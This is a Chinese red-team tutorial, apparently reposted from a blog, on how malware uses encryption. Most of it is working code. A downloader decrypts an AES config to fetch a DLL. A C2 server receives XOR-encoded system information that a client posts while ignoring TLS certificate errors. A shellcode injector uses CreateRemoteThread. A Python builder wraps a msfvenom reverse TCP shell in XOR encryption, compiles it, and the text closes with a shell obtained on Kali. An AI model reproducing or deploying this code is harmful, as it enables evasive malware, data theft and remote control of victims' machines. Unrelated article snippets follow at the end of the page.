恶意软件常用加密算法

news/2025/1/6 20:04:21/文章来源:https://www.cnblogs.com/o-O-oO/p/18652596

前面主要是加密字符串信息,加密算法还可以加密shellcode、通信数据包、配置信息等

一、常用加密算法概述

加密配置信息、加密通信信道、加密窃取数据、混淆代码放置静态分析

总体来说就是加密shellcode、代码模块、配置信息、通信等

二、加密配置信息

设置一个场景,恶意dll文件,放在http://192.168.136.131:4455/dll.dll,exe通过配置文件下载

dll代码:

#include <windows.h>BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:MessageBox(NULL,"Meow from evil.dll!","=^..^=",MB_OK);break;
case DLL_PROCESS_DETACH:break;
case DLL_THREAD_ATTACH:break;
case DLL_THREAD_DETACH:break;}
return TRUE;
}

编译

x86_64-w64-mingw32-g++ -shared -o dll.dll dll.c -fpermissive

配置文件信息

http://192.168.136.131:4445/evil.dll

使用AES-128加密配置文件

#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)void encryptFile(const char* inputFile, const char* outputFile, const char* aesKey) {HCRYPTPROV hCryptProv = 0;HCRYPTKEY hKey = 0;HANDLE hInputFile = INVALID_HANDLE_VALUE;HANDLE hOutputFile = INVALID_HANDLE_VALUE;// Open input file for readinghInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {return;}// Check file sizeLARGE_INTEGER fileSize;
if (!GetFileSizeEx(hInputFile, &fileSize)) {CloseHandle(hInputFile);return;}// Encrypt only if file size is less than 128MB
if (fileSize.QuadPart > 128 * 1024 * 1024) {CloseHandle(hInputFile);return;}// Create output file for writinghOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);return;}// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}if (!CryptHashData(hHash, (BYTE*)aesKey, strlen(aesKey), 0)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}constsize_t chunk_size = OUT_CHUNK_SIZE;BYTE* chunk = (BYTE*)malloc(chunk_size);DWORD out_len = 0;BOOL isFinal = FALSE;DWORD readTotalSize = 0;BOOL bResult = FALSE;while (bResult = ReadFile(hInputFile, chunk, IN_CHUNK_SIZE, &out_len, NULL)) {if (0 == out_len) {break;}readTotalSize += out_len;if (readTotalSize >= fileSize.QuadPart) {isFinal = TRUE;}if (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len, chunk_size)) {break;}DWORD written = 0;if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {break;}memset(chunk, 0, chunk_size);}if (hKey != 0) {CryptDestroyKey(hKey);}
if (hCryptProv != 0) {CryptReleaseContext(hCryptProv, 0);}
if (hInputFile != INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);}
if (hOutputFile != INVALID_HANDLE_VALUE) {CloseHandle(hOutputFile);}free(chunk);
}int main() {
constchar *inputFile = "config.txt";
constchar *encryptedFile = "config.txt.aes";
constchar *encryptionKey = "ThisIsASecretKey";
// encrypt configuration file
encryptFile(inputFile, encryptedFile, encryptionKey);
return0;
}

编译

x86_64-w64-mingw32-g++ encrypt.c -o encrypt.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32

运行后看加密效果

使用的时候先解密再下载

#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)void downloadFile(const char *url, const char *outputFile) {HINTERNET hSession, hUrl;DWORD bytesRead, bytesWritten;BYTE buffer[4096];// Initialize WinINethSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hSession) {printf("InternetOpen failed\n");}// Open URLhUrl = InternetOpenUrlA(hSession, (LPCSTR)url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {InternetCloseHandle(hSession);printf("InternetOpenUrlA failed\n");}// Open output file for writingHANDLE hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {InternetCloseHandle(hUrl);InternetCloseHandle(hSession);printf("failed to create output file\n");}// Read data from URL and write to the output file
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL);}// Cleanup
CloseHandle(hOutputFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hSession);
}void decryptFile(const char* inputFile, const char* outputFile, const BYTE* aesKey) {HCRYPTPROV hCryptProv;HCRYPTKEY hKey;HANDLE hInputFile = INVALID_HANDLE_VALUE;HANDLE hOutputFile = INVALID_HANDLE_VALUE;DWORD len = strlen((constchar*)aesKey);DWORD key_size = len * sizeof(aesKey[0]);// Open input file for readinghInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {return;}// Create output file for writinghOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {return;}// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);}BYTE utf8ByteArray[32];
strcpy((char*)utf8ByteArray, (constchar*)aesKey);if (!CryptHashData(hHash, utf8ByteArray, key_size, 0)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);return;}// HCRYPTKEY hKey;
if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);return;}constsize_t chunk_size = IN_CHUNK_SIZE;BYTE* chunk = (BYTE*)malloc(chunk_size);DWORD out_len = 0;BOOL isFinal = FALSE;DWORD readTotalSize = 0;BOOL bResult = FALSE;DWORD inputSize = GetFileSize(hInputFile, NULL);while (bResult = ReadFile(hInputFile, (LPVOID)chunk, IN_CHUNK_SIZE, &out_len, NULL)) {if (0 == out_len) {break;}readTotalSize += out_len;if (readTotalSize >= inputSize) {isFinal = TRUE;}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len)) {CryptDestroyKey(hKey);CryptReleaseContext(hCryptProv, 0);break;}DWORD written = 0;if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {CloseHandle(hOutputFile);break;}memset(chunk, 0, chunk_size);}if (hKey != 0) {CryptDestroyKey(hKey);}
if (hCryptProv != 0) {CryptReleaseContext(hCryptProv, 0);}
if (hInputFile != INVALID_HANDLE_VALUE) {CloseHandle(hInputFile);}
if (hOutputFile != INVALID_HANDLE_VALUE) {CloseHandle(hOutputFile);}free(chunk);
}int main() {
constchar *encryptedFile = "config.txt.aes";
constchar *decryptedFile = "decrypted.txt";
constchar *encryptionKey = "ThisIsASecretKey";// Decrypt configuration file
decryptFile(encryptedFile, decryptedFile, (const BYTE*)encryptionKey);// Read the URL from the decrypted fileFILE *decryptedFilePtr = fopen(decryptedFile, "r");
if (!decryptedFilePtr) {printf("failed to open decrypted file\n");}char url[256];
fgets(url, sizeof(url), decryptedFilePtr);
fclose(decryptedFilePtr);// Remove newline character if present
size_t urlLength = strlen(url);
if (url[urlLength - 1] == '\n') {url[urlLength - 1] = '\0';}// Download the file using the URL
constchar *downloadedFile = "evil.dll";
printf("decrypted URL: %s\n", url);
downloadFile(url, downloadedFile);
printf("file downloaded from the URL.\n");return0;
}

编译

x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwininet -lcrypt32

运行后,下载成功

实际攻击中会更复杂,秘钥也是从url下载,url信息使用base64+sha256加密等等

三、通信加密

场景

在kali上使用server.py启动https服务,windows上的post加密信息,server.py解密后显示

通信使用https证书加密,数据使用XOR编码:

# python simple C2 server for malware sample
import http.server
import socketserver
import ssl
from urllib.parse import urlparse, parse_qsPORT = 4443
CERTFILE = "server.crt"
KEYFILE = "server.key"classMyHTTPRequestHandler(http.server.BaseHTTPRequestHandler):XOR_KEY = "k" # Define the same XOR key used in the clientdef xor(self, data, key):key = str(key)l = len(key)output_str = ""for i in range(len(data)):current = data[i]current_key = key[i % len(key)]ordd = lambda x: x ifisinstance(x, int) elseord(x)output_str += chr(ordd(current) ^ ord(current_key))return output_strdef do_POST(self):content_length = int(self.headers['Content-Length'])encrypted_data = self.rfile.read(content_length)# Decrypt the received data using single-byte XORdecrypted_data = self.xor_decrypt(encrypted_data)# Handle the decrypted data hereprint("decrypted data:")print(decrypted_data)# Send an HTTP OK responseself.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write("HTTP OK".encode('utf-8'))def xor_decrypt(self, data):ciphertext = self.xor(data, self.XOR_KEY)return ciphertextdef run_https_server():httpd = socketserver.TCPServer(("0.0.0.0", PORT), MyHTTPRequestHandler)# Load SSL certificate and keyhttpd.socket = ssl.wrap_socket(httpd.socket, certfile=CERTFILE, keyfile=KEYFILE, server_side=True)print(f"server running on port {PORT}")httpd.serve_forever()if __name__ == "__main__":run_https_server()

开启https服务

python3 server.py      
/home/kali/Desktop/MalDev/chapter11/02-malware-communication/server.py:52: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()httpd.socket = ssl.wrap_socket(httpd.socket, certfile=CERTFILE, keyfile=KEYFILE, server_side=True)
server running on port 4443

客户端代码

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#include <stdbool.h>char xor_key[] = "k";bool encryptData(char* data, size_t dataSize) {
for (size_t i = 0; i < dataSize; ++i) {data[i] ^= xor_key[0]; // Perform XOR encryption}
returntrue;
}bool hack() {HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;DWORD bytesRead;
char systemInfo[4096];// Get system information
snprintf(systemInfo, sizeof(systemInfo),"OS Version: %d.%d.%d\nScreen Width: %d\nScreen Height: %d\n",GetVersion() & 0xFF, (GetVersion() >> 8) & 0xFF, (GetVersion() >> 16) & 0xFF,GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));// Encrypt system information
encryptData(systemInfo, strlen(systemInfo));hSession = WinHttpOpen(L"SystemInfoClient/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());returnfalse;}hConnect = WinHttpConnect(hSession, L"192.168.136.131", 4443, 0);
if (hConnect == NULL) {fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());WinHttpCloseHandle(hSession);returnfalse;}hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());WinHttpCloseHandle(hConnect);WinHttpCloseHandle(hSession);returnfalse;}DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |SECURITY_FLAG_IGNORE_CERT_CN_INVALID |SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, systemInfo, strlen(systemInfo), strlen(systemInfo), 0)) {fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());WinHttpCloseHandle(hRequest);WinHttpCloseHandle(hConnect);WinHttpCloseHandle(hSession);returnfalse;}if (!WinHttpReceiveResponse(hRequest, NULL)) {fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());returnfalse;}WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);printf("system information sent successfully.\n");
returntrue;
}int main() {
hack();
return0;
}

编译

x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp

windows上运行

.\hack.exe
system information sent successfully.

kali上看到解密信息

四、载荷混淆加密

shellcode注入模板,XOR解密后通过PID注入shellcode

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>// Payload
unsignedchar encryptedPayload[] = { };
char decryptionKey[] = "";// Decryption
void decryptPayload(char * data, size_t dataLength, char * decryptionKey, size_t keyLength) {
int keyIndex = 0;
for (int dataIndex = 0; dataIndex < dataLength; dataIndex++) {if (keyIndex == keyLength - 1) keyIndex = 0;data[dataIndex] = data[dataIndex] ^ decryptionKey[keyIndex];keyIndex++;}
}int main(int argc, char* argv[]) {HANDLE processHandle; // Process handleHANDLE remoteThread;  // Remote threadPVOID remoteBuffer;   // Remote buffer// Parse process ID
printf("PID: %i", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));// Decrypt payload
decryptPayload((char *)encryptedPayload, sizeof(encryptedPayload), decryptionKey, sizeof(decryptionKey));// Allocate memory buffer for remote processremoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(encryptedPayload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);// "Copy" data between processes
WriteProcessMemory(processHandle, remoteBuffer, encryptedPayload, sizeof(encryptedPayload), NULL);// Our process starts a new threadremoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return0;
}

上面是模板,使用py代码生成shellcode去填写这个模板

# payload encryption functions
import argparse
import subprocess
import sys
import random
import os
import hashlib
import stringclassColors:HEADER = '\033[95m'BLUE = '\033[94m'GREEN = '\033[92m'YELLOW = '\033[93m'RED = '\033[91m'PURPLE = '\033[95m'ENDC = '\033[0m'BOLD = '\033[1m'UNDERLINE = '\033[4m'def random_key():length = random.randint(16, 32)return''.join(random.choice(string.ascii_letters) for i in range(length))def xor(data, key):key = str(key)l = len(key)output_str = ""for i in range(len(data)):current = data[i]current_key = key[i % len(key)]ordd = lambda x: x if isinstance(x, int) else ord(x)output_str += chr(ordd(current) ^ ord(current_key))return output_strdef xor_encrypt(data, key):ciphertext = xor(data, key)ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'return ciphertext, keydef generate_payload(host, port):print (Colors.BLUE + "generate reverse shell payload..." + Colors.ENDC)msfv = "msfvenom -p windows/x64/shell_reverse_tcp"msfv += " LHOST=" + hostmsfv += " LPORT=" + portmsfv += " -f raw"msfv += " -o /tmp/hack.bin"print (Colors.YELLOW + msfv + Colors.ENDC)try:p = subprocess.Popen(msfv.split(), stdout = subprocess.PIPE)p.wait()print (Colors.GREEN + "reverse shell payload successfully generated :)" + Colors.ENDC)except Exception as e:print (Colors.RED + "generate payload failed :(" + Colors.ENDC)sys.exit()def run(host, port):print (Colors.BLUE + "run..." + Colors.ENDC)generate_payload(host, port)print (Colors.BLUE + "read payload..." + Colors.ENDC)plaintext = open("/tmp/hack.bin", "rb").read()print (Colors.BLUE + "build..." + Colors.ENDC)print (Colors.BLUE + "encrypt..." + Colors.ENDC)ciphertext, payload_key = xor_encrypt(plaintext, random_key())tmp = open("temp.c", "rt")data = tmp.read()data = data.replace('unsigned char encryptedPayload[] = { };', 'unsigned char encryptedPayload[] = ' + ciphertext)data = data.replace('char decryptionKey[] = "";', 'char decryptionKey[] = "' + payload_key + '";')tmp.close()tmp = open("temp-enc.c", "w+")tmp.write(data)tmp.close()print (Colors.GREEN + "successfully encrypt template file :)" + Colors.ENDC)print (Colors.BLUE + "compiling..." + Colors.ENDC)try:cmd = "x86_64-w64-mingw32-g++ -O2 temp-enc.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1"os.system(cmd)except:print (Colors.RED + "error compiling template :(" + Colors.ENDC)sys.exit()else:print (Colors.YELLOW + cmd + Colors.ENDC)print (Colors.GREEN + "successfully compiled :)" + Colors.ENDC)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument('-l','--lhost', required = True, help = "local IP")parser.add_argument('-p','--lport', required = True, help = "local port", default = '4444')args = vars(parser.parse_args())host, port = args['lhost'], args['lport']run(host, port)

使用msfvenom生成shellcode,填写模板,编译生成exe

python3 encrypt.py -l 192.168.136.131 -p 4445

windows上运行生成的exe,代码注入指定进程

kali上获得shell

原创 玄鹄安全 高级红队专家

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/864072.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Bash 定义变量

定义数组 在 Bash 中,declare -a 用于显式地声明一个变量为数组类型。虽然在许多情况下,即使不使用 declare -a,Bash 也能自动将变量识别为数组,但使用 declare -a 可以明确地说明该变量是一个数组,并且在某些情况下可以提高代码的可读性和可维护性。 区别与作用:declare…

内网渗透

内网渗透 内网基础知识 前言 本文主要介绍内网方面的一些概念,作为内网学习的一个开端。在本文中,所有内容仅供参考,哪有不对,还请指出,谢谢各位师傅。 单域和多域 内网概念 内网也指局域网,是指在某个区域由多台计算机互联而成的计算机组,内网渗透就是在内网中获取计算…

Ubuntu 22.04 手动安装MySQL 5.7.41时依赖包libtinfo5失败

在Ubuntu 22.04安装MySQL5.7.41低版本时,需要安装依赖包libtinfo5,但偶尔会出现安装失败,可使用以下步骤解决此问题。 1、sudo apt install software-properties-common2、sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu/ jammy main universe"…

Python图注意力神经网络GAT与蛋白质相互作用数据模型构建、可视化及熵直方图分析

全文链接:https://tecdat.cn/?p=38617 原文出处:拓端数据部落公众号 摘要: 本文聚焦于图注意力网络GAT在蛋白质 - 蛋白质相互作用数据集中的应用。首先介绍了研究背景与目的,阐述了相关概念如归纳设置与转导设置的差异。接着详细描述了数据加载与可视化的过程,包括代码实…

AtCoder Beginner Contest 387 赛后复盘

abc。省流:A,B,C,D,FA - B 模拟即可。 C 数位 dp。 首先我们先将问题转换为 \([1,R]\) 中蛇数的个数减去 \([1,L-1]\) 中蛇数的个数。 设 \(num_i\) 为数字的第 \(i\) 位(从左往右数)。 我们设 \(f_{dep,mx,lim,ze}\) 表示当前第 \(dep\) 位,首位为 \(mx\),有没有达到…

厨师服穿戴智能监测摄像机

厨师服穿戴智能监测摄像机的应用可以提高厨师在工作中的效率和规范性。通过摄像头的实时监测功能,主厨或者厨房管理人员可以远程观察厨师的工作情况,及时发现问题并进行指导和纠正。此外,设备还能够实现对厨房工作流程的记录和分析,为厨师提供数据支持,帮助其更好地管理工…

骑车不戴头盔监测摄像机

骑车不戴头盔监测摄像机的作用是对骑行者是否戴头盔进行监测和识别,当监测到有骑行者未戴头盔时,摄像机会发出警报,并提示骑行者戴上头盔。这种智能设备可以有效地规范骑行行为,提高骑行安全系数,减少交通事故的发生率。此外,通过监测和识别,还可以对骑行者未戴头盔的行…

电瓶车进电梯识别报警摄像机

电瓶车进电梯识别报警摄像机的作用是对电动车进入电梯过程中的安全情况进行监测和预警,及时发现潜在的安全隐患,提醒用户和管理人员采取相应措施避免事故发生。这种智能设备可以通过监测电动车进入电梯的行为、车辆状态等信息,进行实时分析和判断,发现电动车可能存在的安全…

已读乱回

我将safetensors格式的TableGPT2-7B通过llama.cpp转换成gguf

python-selenium (1、配置环境)

准备如下: 1、python以及开发工具PyCharm 2、浏览器以及对应的浏览器驱动 3、下载selenium工具包注意: 浏览器与浏览器驱动 需要版本一致,以goole为例, https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json 这个网站里面有对应谷…

12306分流抢票软件 bypass v1.16.43 绿色版(春节自动抢票工具)

软件介绍 12306Bypass分流抢票软件,易操作强大的12306抢票软件,全程自动抢票,云识别验证码打码,多线程秒单、稳定捡漏,支持抢候补票、抢到票自动付款,支持多天、多车次、多席别、多乘客、短信提醒等功能。1、Bypass分流抢票本身附带云识别模块帮助识别,但实际测试即便是…